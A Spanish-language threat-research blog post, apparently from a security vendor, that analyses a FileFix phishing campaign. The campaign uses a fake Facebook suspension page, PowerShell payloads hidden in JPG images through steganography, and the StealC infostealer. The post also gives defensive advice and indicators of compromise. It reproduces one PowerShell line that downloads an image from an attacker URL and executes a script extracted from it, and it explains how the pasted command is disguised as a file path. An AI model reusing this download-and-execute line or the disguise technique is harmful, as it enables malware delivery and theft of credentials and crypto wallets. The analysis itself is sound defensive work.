La nueva campaña de FileFix va más allá de la prueba de concepto y utiliza esteganografía

• Por primera vez, FileFix se utiliza de forma sofisticada más allá de la prueba de concepto (POC): los investigadores de la Unidad de investigación de amenazas (TRU) de Acronis descubrieron un raro ejemplo en circulación de una campaña activa de FileFix, lo que constituye el primer ataque de este tipo que no se adhiere estrictamente al diseño de la POC original.

• Aumento de los ataques de *Fix y sus variantes: en los últimos meses, los ataques de ClickFix se han disparado en más del 500 %, y además se han desarrollado nuevas variantes de ClickFix, como FileFix. El investigador Mr. d0x fue el primero en teorizar sobre FileFix y en desarrollarlo como POC a principios de julio.

• Infraestructura de phishing sofisticada: la campaña observada emplea un sitio de phishing multilingüe muy convincente (p. ej., una página falsa de Facebook sobre seguridad), con técnicas antianálisis y ofuscación avanzada para evadir la detección.

• Esteganografía utilizada para ocultar código malicioso: el ataque emplea de forma singular la esteganografía al incrustar tanto un script de PowerShell de segunda fase como cargas útiles ejecutables cifradas dentro de imágenes JPG aparentemente inofensivas. Estas imágenes se descargan con la carga útil inicial y se analizan para extraer y ejecutar los componentes maliciosos, lo que dificulta la detección.

• Cargas útiles en varias fases con ofuscación y evasión en capas: la cadena de infección se basa en un sistema de entrega de cargas útiles en varias fases, que comienza con un comando de PowerShell altamente ofuscado que fragmenta y codifica sus componentes para evitar la detección. Las fases posteriores descifran, descomprimen y ejecutan cargas útiles adicionales mediante técnicas como la construcción de comandos basada en variables, la codificación en Base64 y las URL cifradas, todo ello diseñado para maximizar el sigilo y eludir los controles de seguridad.

• La carga útil final entrega el infostealer StealC: la etapa final despliega un cargador (escrito en Go, con verificaciones de máquinas virtuales o de entornos aislados y cifrado de cadenas) que ejecuta el infostealer StealC, cuyo objetivo son navegadores, carteras de criptomonedas, aplicaciones de mensajería y credenciales en la nube. StealC también es capaz de cargar malware adicional.

• Evolución rápida y alcance global: la campaña ha evolucionado rápidamente en las últimas dos semanas, y se han observado múltiples variantes y cargas útiles. La creciente tasa de detecciones relacionadas con la campaña indica que el ataque podría estar acelerándose. La infraestructura y el soporte multilingüe indican una estrategia de alcance global, con presuntas víctimas en numerosos países.

A principios de la semana pasada, los investigadores de la Unidad de investigación de amenazas (TRU) de Acronis descubrieron un raro ejemplo de ataque FileFix en circulación, una nueva variante del ya famoso vector de ataque ClickFix. El ataque descubierto no solo utiliza FileFix, sino que, según nos consta, es el primer ataque de este tipo que no se ajusta estrictamente a la prueba de concepto (POC) original, demonstrated by Mr. d0xdiseñada en julio de 2025. Además, el ataque incluye una carga útil y un sitio de phishing sofisticados, que en muchos aspectos superan lo que hasta ahora habíamos observado en ataques ClickFix o FileFix (con algunas excepciones notables).

Esta investigación no solo demuestra lo sorprendentemente rápido que una POC puede convertirse en un vector de ataque (y lo importante que resulta mantenerse al día en este tipo de investigaciones), sino que también ofrece un análisis exhaustivo de los ataques *Fix, ya sean ClickFix o FileFix. El autor de este ataque ha demostrado una inversión significativa en técnicas especializadas, diseñando cuidadosamente la infraestructura de phishing, la entrega de las cargas útiles y los elementos de apoyo para maximizar tanto la evasión como el impacto. Esto representa uno de los casos de ataque *Fix más sofisticados que nuestro equipo ha observado hasta la fecha.

Muchas de las técnicas empleadas en el ataque pueden emplearse con eficacia en cualquier ataque ClickFix o FileFix, por lo que deberían estar en el punto de mira de quienes siguen de cerca el aumento de los ataques *Fix. Este tipo de ataques incluyen un sitio de phishing que incorpora mecanismos antianálisis, como el cambio de nombre de funciones y la minificación, así como señuelos multilingües, junto con una carga útil de PowerShell personalizada que recupera un script de segunda fase y un ejecutable de una imagen JPG a través de esteganografía, y que además ofusca su actividad mediante el uso de variables. Estos tres últimos elementos son bastante inusuales en el contexto de ClickFix y FileFix, y la esteganografía, en particular, no es algo que hayamos observado que se entregue directamente a través de una carga útil *Fix.

En este artículo de blog, ofrecemos un análisis completo y detallado del ataque, con el fin de ayudar a los equipos de seguridad a detectar y mitigar los ataques *Fix.

Los ataques AllFix o *Fix son el nombre colectivo que se da a un grupo de técnicas de ataque que incluyen ClickFix, FileFix, PromptFix y otras variantes, que parecen estar surgiendo a un ritmo alarmante en los últimos meses.

La idea principal detrás de este tipo de técnica es engañar a la víctima para que haga el trabajo sucio del atacante; es decir, se le pide a la víctima que copie y pegue la carga útil del atacante en su propio terminal (u otras partes aplicables del sistema operativo, como el cuadro de diálogo "Ejecutar" de Windows) y que, a continuación, la ejecute por voluntad propia. En esencia, es el equivalente en ciberseguridad a un carterista que, en lugar de esforzarse en robar, pide educadamente a su víctima que le entregue directamente la cartera, las llaves de la casa y las del coche.

El motivo por el que alguien haría algo así depende del tipo de ataque y de la ingeniería social empleada. En el tipo más común de ataque *Fix, ClickFix, se solicita al usuario que realice una prueba CAPTCHA falsa, pero en lugar de tener que identificar un sinfín de semáforos y bicicletas, a las víctimas se les da una instrucción sencilla: pulsar Win+R para abrir el cuadro de diálogo "Ejecutar" de Windows, pegar un comando con Ctrl+V (a menudo oculto tras el texto "No soy un robot") y pulsar Intro. "¡Qué sencillo!", podría pensar el usuario, momentos antes de que su dispositivo se infecte con un infostealer, ransomware o cualquier otra amenaza.

Por improbable que parezca este vector de ataque, ClickFix ha experimentado un auge en los últimos meses y se ha utilizado en ataques de distintos grados de complejidad e intención, desde los stealers más comunes hasta operaciones patrocinadas por Estados que despliegan troyanos de acceso remoto. Ojalá pudiera decir que este tipo de ataques se basan estrictamente en ingeniería social muy sofisticada, pero no es así. Muchas veces, estos ataques consisten en enviarle al usuario un mensaje tan simple como el siguiente: "¡Hola! Abre tu terminal y pega este comando para… mmm… demostrar que eres un humano". ¿Es ingenioso? No. ¿Funciona? Parece que sí. Quizá este sea otro ejemplo de cómo al crear una solución para un problema (los bots y las medidas antibots), se genera a su vez otro problema: que dichas medidas antibots resulten tan complicadas y agotadoras que pegar un comando en el terminal parezca aceptable o incluso una opción más sencilla en comparación.

FileFix presenta ciertas diferencias respecto a un ataque típico de ClickFix, y en nuestro caso, también constituye un ataque de ingeniería social bastante convincente. Un ataque de FileFix no intenta que el usuario abra el terminal o el cuadro de diálogo "Ejecutar" mediante los atajos de teclado "Win + R". Un ataque de FileFix aprovechará la funcionalidad de carga de archivos en HTML para crear un botón de carga. En situaciones benignas, al pulsar el botón de carga de archivos en un entorno de Windows, se abrirá una ventana del Explorador de archivos y se permitirá al usuario cargar archivos en un sitio. Sin embargo, en un ataque de FileFix, el objetivo es engañar al usuario para que pegue un comando malicioso en la barra de direcciones del Explorador de archivos, que se ejecutará en su equipo. Esto ofrece a los atacantes una ventaja potencial sobre los ataques de ClickFix más comunes, que se abordará más adelante en este artículo.

Como se ha mencionado, el ataque gira en torno a un sitio de phishing. Basándonos en otros ejemplos de ClickFix y en las pistas contextuales del propio sitio de phishing, es probable que la víctima llegue al sitio de phishing a través de un correo electrónico de phishing. En dicho correo electrónico, también es probable que el atacante se haga pasar por el equipo de seguridad de Facebook, informando a la víctima sobre el cierre inminente de su cuenta y presionándola para que visite el sitio de phishing cuanto antes y tome las medidas oportunas.

Una vez en el sitio de phishing, la víctima se enfrenta a un panorama desolador: alguien ha denunciado su cuenta y la suspenderán en siete días (el atacante incluso ha tenido la "amabilidad" de indicar la fecha exacta en la que se suspenderá la cuenta). Y lo que es peor, si no se realiza ninguna acción en 180 días, se eliminará la cuenta de forma permanente. A continuación, se ofrece a la víctima la opción de apelar la suspensión de su cuenta directamente en la misma página. ¡Qué suerte!

Cuando la víctima opta por apelar, se le informa de que el equipo de Meta ha compartido con ella un archivo PDF. Para ver el archivo y, dentro de él, las instrucciones para apelar la suspensión, se le pide que "abra el Explorador de archivos" y pegue la ruta del archivo PDF. Por desgracia, al abrir el supuesto "Explorador de archivos" se muestra una ventana de carga de archivos, y la ruta que la víctima introduce en la barra de direcciones constituye en realidad una carga útil maliciosa. Al finalizar su ejecución, la carga útil genera una alerta con el mensaje "No file is found" ("No se ha encontrado ningún archivo") y, al pulsar el botón Continuar en la página, aparece un error similar que indica "Please complete the steps" ("Complete los pasos"). De este modo, la víctima se queda sin archivo y sin posibilidad de continuar con la apelación.

Mientras tanto, en segundo plano, la carga útil ejecuta un script de PowerShell de múltiples fases. Este script descarga una imagen, la descodifica en una segunda fase y, a continuación, utiliza tanto el propio script como la misma imagen para descifrar y desplegar un ejecutable, que a su vez inyecta un shellcode adicional. En las secciones siguientes se describe con detalle la cadena de ataque completa.

A lo largo de nuestra investigación, resultó evidente que, desde el inicio hasta el final, los responsables de esta amenaza dedicaron un notable esfuerzo a cada detalle del ataque. Y eso es cierto no solo para los distintos scripts ofuscados y las cargas útiles cifradas, sino también para el propio sitio de phishing que inicia el ataque.

Aquí, FileFix hace una de sus primeras apariciones más allá de una prueba de concepto (POC). Varias semanas después de que Mr. d0x publicara un primer artículo sobre la técnica en su blog, han surgido otros ejemplos, pero en su mayoría parecen haber sido experimentos o pruebas; uno es una copia exacta de la POC de Mr. d0x y otro parece ser una ligera variación de la misma. Ambos ejemplos son interesantes y destacables, pero la técnica apenas se distingue de un sitio típico de ClickFix.

Sin embargo, al liberarse de la rutina tradicional de CAPTCHA que utilizan tantos sitios de ClickFix, FileFix puede sacar a relucir todo su potencial. Utilizar una página de seguridad de Facebook es un señuelo de ingeniería social muy convincente. Y si bien abundan los ataques de ClickFix que emplean señuelos creativos similares, FileFix se percibe como menos invasivo, por lo que puede resultar más convincente aún. Al fin y al cabo, muchos usuarios nunca han abierto una ventana de terminal en su vida, ¿pero quién no ha utilizado al menos una vez una ventana de carga de archivos?

Desde un punto de vista técnico, FileFix presenta varias diferencias con respecto a ClickFix. Por un lado, es probable que la ventana de carga de archivos que requiere FileFix esté disponible para la mayoría de los usuarios y en la mayoría de los entornos; en cambio, un usuario puede tener restringido el acceso a su terminal o al cuadro de diálogo "Ejecutar", lo que reduce el impacto de ClickFix. Por otro lado, uno de los aspectos que hace que ClickFix sea tan difícil de detectar es que se ejecuta desde Explorer.exe a través del cuadro de diálogo "Ejecutar" o directamente desde un terminal, mientras que con FileFix, la carga útil se ejecuta en el navegador web que emplea la víctima, lo que es mucho más probable que llame la atención en una investigación o ante un producto de seguridad. Salvo por esa diferencia, las dos técnicas son bastante similares.

La parte "interesante" (es decir, maliciosa) del sitio de phishing está escrita en JavaScript y presenta muchos elementos de ofuscación, así como algunas funciones destinadas a ampliar el alcance y a garantizar el éxito del ataque.

A simple vista, el sitio parece completamente normal y, de hecho, cuando apareció por primera vez en nuestro radar, podríamos haberlo considerado un falso positivo: no contenía ninguno de los textos de CAPTCHA característicos, una señal inequívoca de ClickFix. Sin embargo, una inspección más minuciosa arrojó resultados sorprendentes. En realidad, este sitio era malicioso y todo el script se había minificado, es decir, reducido a unas 12 líneas de las aproximadamente 18 000 líneas que contenía el script original.

Además, el sitio presenta una fuerte ofuscación y se desarrolló implementando múltiples técnicas antianálisis. Las funciones y los nombres de las variables están compuestos por combinaciones aleatorias de letras, y el código está fragmentado y distribuido por todo el script. También hay mucho código inservible y un sinfín de trucos para despistar. Que no se malinterprete: aunque esto no es lo habitual en los sitios de ClickFix, es una técnica bastante común en el malware basado en JavaScript. Sin embargo, en nuestro caso, la ofuscación resultó difícil de descifrar, lo que nos obligó a analizar miles de líneas de código, variables y funciones (tal y como seguramente pretendían los autores del sitio). Esto supone un auténtico desafío, y no podemos afirmar con certeza que hayamos descubierto todos los trucos que este código esconde bajo la manga.

No obstante, hemos podido encontrar traducciones a 16 idiomas, incluidos árabe, ruso, hindi, japonés, polaco, alemán, español, francés, malayo, urdu y otros más. Se había invertido mucho esfuerzo en crear el sitio de phishing, y la intención aquí es evidente: maximizar el alcance del ataque.

Hemos descubierto varias variantes del mismo sitio, todas ellas activas en las dos últimas semanas, y cada una con cargas útiles ligeramente diferentes, distintas técnicas, archivos distintos y, en ocasiones, variaciones en el pretexto de ingeniería social. Al examinar versiones anteriores del sitio, se puede rastrear la evolución del ataque, tanto desde el punto de vista de la ingeniería social como del técnico. Todo indica que, también en este aspecto, el grupo responsable está trabajando poco a poco para perfeccionar su metodología.

La carga útil se entrega como una sola línea de código: un comando de PowerShell parcialmente ofuscado en Base64 y fragmentado de forma similar al código JavaScript que se utiliza para el sitio de phishing. Se trata de un método de entrega inusualmente complejo para un ataque de tipo *Fix. La mayoría de las cargas útiles que hemos observado estaban en texto sin cifrar; algunas mostraban una ofuscación parcial, pero ninguna alcanzaba este nivel de complejidad. En el contexto de un ataque de FileFix, se trata de un enfoque único y excepcionalmente complejo, lo que lo convierte en un tema de investigación interesante.

De todas las fases de este ataque, este script de carga útil inicial es nuestra parte favorita. Mientras la víctima se enfrenta a la tragedia de haber perdido su cuenta de Facebook y pega el comando malicioso en la barra de direcciones de la ventana de carga de archivos, esperando pacientemente visualizar el "Informe sobre el incidente" que arrojará luz sobre el proceso de apelación, en segundo plano ocurren varias cosas, y todo empieza con una imagen.

Imagínese una escena idílica: una bonita casa en una pradera, con margaritas en primer plano; o bien una fotografía macro de un caracol sobre hojas cubiertas de rocío. Cada carga útil (de las que hemos documentado hasta ahora) empieza como una de estas imágenes. Sin embargo, no se trata de simples archivos JPG que se hayan dejado ahí por amor al arte. Cada imagen contiene un script de PowerShell de segunda fase y una carga útil ejecutable. Además, cada imagen es ligeramente diferente y las cargas útiles varían entre las distintas versiones del sitio. Las imágenes parecen haberse generado mediante IA (aunque no podemos asegurarlo). Es un tanto absurdo imaginar a los autores del ataque pidiendo a la IA que cree una imagen de "una bonita casa en la pradera" solo para inyectarle código malicioso. Aunque cosas más extrañas se han visto en los tiempos que nos ha tocado vivir…

Retrocedamos un momento. La carga útil inicial, la que el usuario introduce voluntariamente en la barra de direcciones de la ventana de carga de archivos y ejecuta, tiene un aspecto similar al siguiente:

 Algunas observaciones que es importante tener en cuenta con respecto a esta carga útil inicial:

1.      Para engañar al usuario y hacerle creer que está pegando la ruta de un archivo PDF del "Informe sobre el incidente", el atacante ha colocado una variable al final de la carga útil, que contiene muchos espacios y la ruta falsa al final. Esto se hace para que solo aparezca la ruta del archivo en la barra de direcciones, y ninguno de los comandos maliciosos reales. En un ataque de ClickFix normal, se utiliza el símbolo # en lugar de una variable, que PowerShell interpreta como un comentario de desarrollador. Esto tiene la ventaja no intencionada de que cualquiera que haya configurado sus detecciones para buscar el símbolo "#" propio de ClickFix, probablemente pase por alto este caso.

2.      Este es un comando notablemente grande, mucho más extenso que la carga útil promedio de ClickFix. No solo incluye una carga útil codificada en Base64, sino que también ha fragmentado todas las clases y espacios de nombres utilizados en el script en varios componentes más pequeños y los ha almacenado como variables. A continuación, se invocan estas variables para reconstruir el comando completo. Esto mejora de forma considerable la capacidad del script para evadir las detecciones que se basan en patrones para determinar su carácter malicioso.

3.      El atacante utiliza BitBucket para entregar la imagen empleada en el ataque. A medida que hemos ido observando la evolución de la carga útil en las últimas dos semanas, vemos que el atacante ha pasado de alojarla en dominios maliciosos que controla, como elprogresofood[.]com, a alojarla principalmente en BitBucket. Esto permite al atacante evadir la detección y elimina la necesidad de seguir registrando y gestionando dominios maliciosos.

Por si no bastara con la esteganografía, la ofuscación y la fragmentación de comandos, el atacante ha llegado incluso a cifrar la URL en algunas variantes de la carga útil. La URL está cifrada mediante una operación XOR, utilizando una clave codificada de forma rígida en la carga útil, y posteriormente representada como bytes hexadecimales. La URL resultante, previamente cifrada, se descifra y se codifica durante el tiempo de ejecución.

En el bit codificado en Base64 se encuentra el núcleo de la carga útil:

$p_fist=-join($env:TEMP,'\zd746f1ce1c0.jpg'); Invoke-WebRequest -Uri $u -Method Get -OutFile $p_fist -ErrorAction Ignore; $image_bytes=$ifr.Invoke($p_fist); $p_bytes=$image_bytes[1101253..($image_bytes.Length-1)]; $e.GetString($p_bytes)|iex;

Aquí, el script descarga la imagen en la carpeta Temp de la víctima y, a continuación, extrae un script de PowerShell de segunda fase que está almacenado en un índice específico en el archivo de imagen. Una vez extraído y convertido en cadena, se ejecuta como script.

La tarea del script de segunda fase consiste en extraer una carga útil maliciosa de la imagen. Sí, volvemos a nuestra idílica escena campestre para obtener nuestra carga útil. A diferencia del script de segunda fase, que se almacena en la imagen en texto plano (y, por lo tanto, es detectable, aunque el archivo de imagen en sí no sea malicioso ni pueda activar alertas por sí solo), las cargas útiles ejecutables se cifran dentro de la imagen. El script de segunda fase comienza definiendo dos funciones: una para descifrar los archivos mediante el descifrado RC4, y la otra para descomprimir los archivos mediante GZIP.

Una vez definidas, el script se pone manos a la obra para extraer los archivos:

El script es capaz de entregar más de un archivo, y puede distribuir tanto DLL como ejecutables. Una vez proporcionados los índices de inicio y fin de cada archivo dentro de la imagen, el script procede a extraer y descifrar cada archivo, identificar su extensión y, a continuación, ejecutar cada archivo de la manera adecuada (de modo que, por ejemplo, no intente ejecutar un archivo DLL). Cada archivo EXE se ejecuta mediante conhost.exe, y se elimina una vez transcurridos 12 minutos. Por último, aparece el siguiente mensaje: "Cannot open file!" ("¡No se puede abrir el archivo!").

Ese mensaje nos lleva de nuevo al principio. Desde el punto de vista de los usuarios, lo único que ha ocurrido es que han pegado la ruta del archivo, tal y como se les indicó. A continuación, unos momentos después, les aparece un mensaje de error que dice que el archivo no se puede abrir. En el sitio de phishing no pueden avanzar hasta que no hayan abierto el archivo. Básicamente, se quedan atascados y sin saber qué hacer. Mientras tanto, en segundo plano, se ha descargado y ejecutado una carga útil en sus equipos.

Puede haber varias razones por las que el atacante haya dividido su script en dos fases. Por un lado, incrustar la segunda fase en el archivo de imagen ofrece al atacante una mayor flexibilidad para cambiar los archivos que se descargan sin tener que modificar la carga útil en el sitio de phishing. Otra razón puede estar relacionada con la evasión, ya que reducir el tamaño del comando codificado en Base64 puede llamar menos la atención.

En general, esta cadena de scripts es única en el panorama de las cargas útiles de *Fix. El enfoque empleado en estos ataques proporciona al atacante un sigilo mayor de lo habitual, ya que muestra un claro esfuerzo hacia la evasión y garantiza que la carga útil sea lo suficientemente flexible como para distribuir una amplia gama de malware en diferentes escenarios. La esteganografía utilizada resulta interesante en muchos aspectos y no suele verse con frecuencia, sobre todo en el ámbito de los ataques *Fix. Además, ofrece al atacante una capa adicional de sigilo, ya que los defensores pueden pasar por alto que se está descargando un archivo de imagen, y es posible que no se active ninguna alarma. Todo esto da lugar a una infección compleja y sofisticada, especialmente si se compara con otros ataques que utilizan ClickFix y FileFix. 

Y ahora, la carga útil final: la joya de la corona, el plato fuerte de esta campaña. Aunque, en este caso, quizá no lo sea tanto. Que no se malinterprete: se trata de un cargador interesante, escrito en Go y que emplea tanto verificaciones de máquinas virtuales como técnicas de ofuscación, y que, por último, descifra y carga el shellcode en la memoria. A continuación, este shellcode desempaqueta StealC, un popular y eficaz infostealer (ladrón de información) que también se puede utilizar como descargador y cargador en caso necesario. No está nada mal, pero esperábamos algo más, y quizás ese *más* aún esté por llegar. En las dos últimas semanas, hemos observado cómo la carga útil evoluciona, crece y cambia, y por ahora, la metodología del ataque parece seguir permutándose.

Pero vayamos por partes. Una vez ejecutada por el script de segunda fase, la carga útil inicia una prueba en un entorno aislado para comprobar si se está ejecutando en una máquina virtual. Se trata de una verificación bastante básica: la carga útil descifra una lista de nombres de tarjetas gráficas comúnmente utilizadas en máquinas virtuales y entornos aislados. A continuación, llama a la función EnumDisplayDevicesA y comprueba cada dispositivo con la lista de tarjetas gráficas bloqueadas. Por suerte para nosotros, esta comprobación se puede eludir fácilmente.

Cabe señalar que todas las cadenas que ejecuta el cargador están cifradas, incluidos los nombres de cada llamada a la API. El cargador cuenta con varias funciones dedicadas a obtener los nombres de las llamadas a la API, como EnumDisplayDevicesA, NtAllocateVirtualMemory, etc. Irónicamente, lo único que no está cifrado (al menos en el momento de redactar este artículo) son los nombres de las funciones que descifran y almacenan en la memoria los nombres de las llamadas a la API, con nombres tan reconocibles como getNtAllocateVirtualMemory, getEnumDisplayDevicesA, etc. No es descabellado pensar que lo que estamos viendo es un trabajo en progreso, ya que los atacantes seguramente trabajarán para mejorar las funciones de este cargador en el futuro, y quizá acaben adjuntando una carga útil diferente.

Finalmente, una vez superada (o eludida) la verificación de máquinas virtuales, el cargador descifra y carga el shellcode, lo que en última instancia conduce a la infección del equipo con el infostealer StealC. Por su parte, StealC recopila información del entorno del usuario, incluidas contraseñas, datos de navegadores web, aplicaciones de mensajería y de videojuegos populares, así como información relacionada con criptomonedas, y la envía al atacante.

En nuestro análisis, StealC intenta robar información de un largo listado de programas: navegadores como Chrome, FireFox, Opera, Explorer, QQ Browser, Quark, UC Browser, Sogou Explorer y Maxthon. Además, busca carteras de criptomonedas como Bitcoin, Dogecoin, Ravencoin, Daedalus, Blockstream Green, Wasabi Wallet, Ethereum, Electrum, Electrum-LTC, Ledger Live, Exodus, Electron Cash, MultiDoge, Jaxx Liberty, Atomic Wallet, Binance, Coinomi, Mainnet y Guarda. Además, busca información de aplicaciones de mensajería, VPN y bases de datos, como Thunderbird, Telegram, Discord, Tox, Pidgin, Ubisoft Game Launcher, Battle.net, OpenVPN y ProtonVPN, así como claves de Azure y AWS.

A lo largo de nuestra investigación, hemos descubierto varias iteraciones del ataque, que se remontan a las últimas dos semanas. A través de estas iteraciones, podemos rastrear la evolución tanto de la técnica de ingeniería social como de los aspectos más técnicos del ataque. Quizá esto indique que el atacante está probando una infraestructura que tiene previsto utilizar en el futuro, o quizá estas iteraciones se han añadido al ataque en plena campaña, a medida que el atacante aprende a adaptarse y mejorar.

En dos semanas, hemos observado que la carga útil ha evolucionado. A partir de una carga útil de PowerShell de una sola fase, que incluía el script completo, incluidas las partes que extraen y descifran la carga útil ejecutable, hemos visto cómo ha ido transformándose en el script de dos fases que observamos hoy, y evolucionando aún más hasta incluir una lista potencial de los archivos .exe y .dll que se desplegarán. Sin embargo, durante todo ese tiempo, y desde el principio, la esteganografía ha sido un ingrediente clave del ataque. La última iteración del ataque parece cargar todo el script de la primera fase desde un archivo .log alojado en Bitbucket, mientras que el resto del ataque permanece inalterado.

Las cargas útiles ejecutables también han cambiado. Los ataques más antiguos entregaban binarios ofuscados mediante OLLVM en lugar del cargador de shellcode escrito en Go que hemos descrito en este artículo.

Por último, el aspecto de ingeniería social del ataque también ha cambiado ligeramente: en un principio, el pretexto era que el usuario debía cargar su documento de identidad para evitar que se eliminara su cuenta, y el archivo que se le pedía abrir eran simplemente instrucciones sobre cómo cargar el documento de identidad en el sitio. En iteraciones posteriores, el archivo que se pedía abrir pasó a ser un documento que detallaba las supuestas infracciones del usuario, aunque, curiosamente, se mantenía el mensaje que indicaba la necesidad de cargar el documento de identidad.

Esto implica una infraestructura en evolución, que sigue intentando perfeccionar el uso de FileFix y su script de dos fases asociado, a la vez que mantiene la flexibilidad necesaria para poder desplegar cualquier carga útil en el equipo de la víctima. Seguiremos observando esta amenaza con lupa, con la esperanza de obtener más información sobre su evolución en el futuro.

Una investigación de las muestras enviadas a VirusTotal (VT), tanto de archivos como de sitios de phishing asociados a este ataque, sugiere que la campaña no se limita a un solo país o región. Si bien no se puede corroborar con absoluta certeza, podemos observar envíos de herramientas y sitios de phishing a VirusTotal desde Estados Unidos, Bangladesh, Filipinas, Túnez, Nepal, República Dominicana, Serbia, Perú, China y Alemania, entre otros. Esto, junto con las diversas traducciones disponibles en el sitio de phishing, puede indicar que el ataque tiene como objetivo a víctimas de todo el mundo.

De igual modo, es difícil determinar la identidad del atacante. La dirección principal del servidor de mando y control (C2), 77[.]90[.]153[.]225, indica que está ubicado en Alemania. Sin embargo, este hecho por sí solo no es suficiente para determinar con precisión la identidad o la ubicación del atacante. Las técnicas empleadas y la complejidad de la entrega de la carga útil, que incluye varias fases, esteganografía, ofuscación y cifrado, apuntan a un atacante bastante sofisticado y organizado.

Ya hemos visto cómo ClickFix ha pasado de ser una prueba de concepto a convertirse en ataques en circulación, y en los últimos meses ha ido ganando popularidad. Ahora estamos viendo la misma tendencia con FileFix: ha pasado de ser una prueba de concepto a convertirse en una campaña en aproximadamente dos meses. Por si fuera poco, el ataque se entrega de un modo altamente sofisticado, con una gran cantidad de técnicas de ofuscación y antianálisis destinadas a pasar desapercibido y causar el mayor impacto posible.

A medida que seguimos observando la evolución de la campaña, también continuaremos buscando novedades en la infraestructura del ataque, su metodología y la carga útil, e intentaremos obtener alguna pista sobre la identidad de los atacantes. Este ataque, y su ingenioso uso de FileFix, nos deja con la incógnita de cómo evolucionará su utilización en el futuro y de si llegará a sustituir o incluso superar a ClickFix como técnica de ataque. Hasta entonces, seguiremos supervisando esta campaña y otras similares, y proporcionando recomendaciones que ayuden a los equipos de seguridad a defenderse de ellas.

Los clientes de Acronis XDR pueden presumir de contar con la mejor protección para estos tipos de ataques. Acronis XDR detecta el ataque tanto en el momento en que se ejecuta la carga útil de PowerShell, como en el momento en que se lanza el ejecutable de la carga útil.

En cuanto a la mejor forma de afrontar este ataque, y en particular FileFix, se nos ocurren dos recomendaciones fundamentales.

La primera es la formación. En los últimos años, los usuarios se han vuelto cada vez más conscientes de los ataques de phishing, sobre todo de aquellos llevados a cabo mediante documentos adjuntos. Para que los ataques *Fix no se conviertan en un punto ciego en la concienciación de los usuarios sobre los ataques de phishing, debemos empezar a formarles sobre este tipo de ataques e incluirlos en la formación corporativa sobre ataques de phishing. De este modo, al menos los usuarios se lo pensarán dos veces antes de seguir las instrucciones típicas de este tipo de ataques. La formación debería centrarse, en particular, en el uso del portapapeles, un elemento bastante común en los ataques *Fix, y se debería advertir a los usuarios sobre cualquier sitio web que les pida pegar algo en cualquier parte de su sistema operativo.

La segunda recomendación es bloquear la ruta de ejecución del ataque. Los equipos de seguridad deberían estar alerta y, en la medida de lo posible, impedir cualquier ejecución de PowerShell, CMD, MSIEXEC o MSHTA que se inicie como proceso secundario de cualquier navegador web en los dispositivos. Esta medida no debería causar demasiadas interrupciones en las operaciones empresariales normales, pero evitará que se inicie el ataque.

Otra técnica de prevención posible podría consistir en vigilar y bloquear cualquier imagen que se descargue mediante un comando de PowerShell. Si se logra impedir que la imagen se descargue, o bien ponerla en cuarentena lo antes posible, el ataque se detendría antes de que se ejecute la carga útil.

70AE293EB1C023D40A8A48D6109A1BF792E1877A72433BCC89613461CFFC7B61

06471E1F500612F44C828E5D3453E7846F70C2D83B24C08AC9193E791F1A8130

08FD6813F58DA707282915139DB973B2DBE79C11DF22AD25C99EC5C8406B234A

2654D6F8D6C93C7AF7B7B31A89EBF58348A349AA943332EBB39CE552DDE81FC8

FD30A2C90384BDB266971A81F97D80A2C42B4CEC5762854224E1BC5C006D007A

1D9543F7C0039F6F44C714FE8D8FD0A3F6D52FCAE2A70B4BC442F38E01E14072

1801DA172FAE83CEE2CC7C02F63E52D71F892D78E547A13718F146D5365F047C

7022F91F0534D980A4D77DF20BEA1AE53EE02F7C490EFBFAE605961F5170A580

B3CE10CC997CD60A48A01677A152E21D4AA36AB5B2FD3718C04EDEF62662CEA1

77[.]90[.]153[.]225

facebook[.]meta-software-worldwide[.]com

facebook[.]windows-software-downloads[.]com

facebook[.]windows-software-updates[.]cc

facebook[.]windows-software-updates[.]com

elprogresofood[.]com

mastercompu[.]com

thanjainatural[.]com

Bitbucket[.]org/pibejiloiza/

Bitbucket[.]org/brubroddagrofe/

Bitbucket[.]org/creyaucuronna-4413/

Grabify[.]link/5M6TOW